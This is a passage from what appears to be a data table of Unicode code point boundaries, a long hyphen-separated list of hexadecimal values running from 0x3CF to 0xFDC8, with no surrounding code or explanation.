0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x483, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x55D, - 0x55E, - 0x561, - 0x588, - 0x589, - 0x58A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F4, - 0x600, - 0x606, - 0x60C, - 0x60E, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x61F, - 0x620, - 0x64B, - 0x660, - 0x66A, - 0x66B, - 0x66D, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6DD, - 0x6DE, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x703, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7C0, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7F8, - 0x7F9, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x840, - 0x859, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x966, - 0x970, - 0x971, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9E4, - 0x9E6, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC81, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD58, - 0xD5F, - 0xD62, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE40, - 0xE47, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x104A, - 0x104C, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1362, - 0x1363, - 0x1367, - 0x1369, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166E, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x169D, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1715, - 0x1720, - 0x1732, - 0x1735, - 0x1737, - 0x1740, - 0x1752, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17B4, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x17DE, - 0x17E0, - 0x17EA, - 0x1802, - 0x1803, - 0x1804, - 0x1808, - 0x1809, - 0x180A, - 0x180B, - 0x180E, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1944, - 0x1946, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A17, - 0x1A1C, - 0x1A20, - 0x1A55, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1AAC, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B5C, - 0x1B5E, - 0x1B60, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1BF4, - 0x1C00, - 0x1C24, - 0x1C38, - 0x1C3B, - 0x1C3D, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1D00, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FDC, - 0x1FE0, - 0x1FE8, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x1FFD, - 0x2000, - 0x200B, - 0x200C, - 0x200E, - 0x2010, - 0x2013, - 0x2015, - 0x2018, - 0x2020, - 0x2024, - 0x2025, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x2039, - 0x203B, - 0x203C, - 0x203E, - 0x2045, - 0x2047, - 0x204A, - 0x205F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0x2071, - 0x2072, - 0x207D, - 0x207F, - 0x2080, - 0x208D, - 0x208F, - 0x2090, - 0x209D, - 0x20D0, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2130, - 0x2134, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x213E, - 0x2140, - 0x2145, - 0x2146, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2170, - 0x2180, - 0x2183, - 0x2184, - 0x2185, - 0x2189, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x24B6, - 0x24D0, - 0x24EA, - 0x275B, - 0x2761, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE5, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF2, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E0E, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2A, - 0x2E2E, - 0x2E2F, - 0x2E30, - 0x2E3C, - 0x2E3D, - 0x2E42, - 0x2E43, - 0x3000, - 0x3001, - 0x3002, - 0x3003, - 0x3005, - 0x3008, - 0x3012, - 0x3014, - 0x301C, - 0x301D, - 0x3020, - 0x3021, - 0x302A, - 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x3099, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA4FF, - 0xA500, - 0xA60D, - 0xA60E, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA6F3, - 0xA6F4, - 0xA6F7, - 0xA6F8, - 0xA717, - 0xA720, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA789, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA78F, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xA7F7, - 0xA7F8, - 0xA7FB, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA840, - 0xA874, - 0xA876, - 0xA878, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8CE, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA90A, - 0xA926, - 0xA92E, - 0xA92F, - 0xA930, - 0xA947, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9C8, - 0xA9CA, - 0xA9CF, - 0xA9D0, - 0xA9DA, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA37, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5D, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF0, - 0xAAF2, - 0xAAF5, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABC0, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 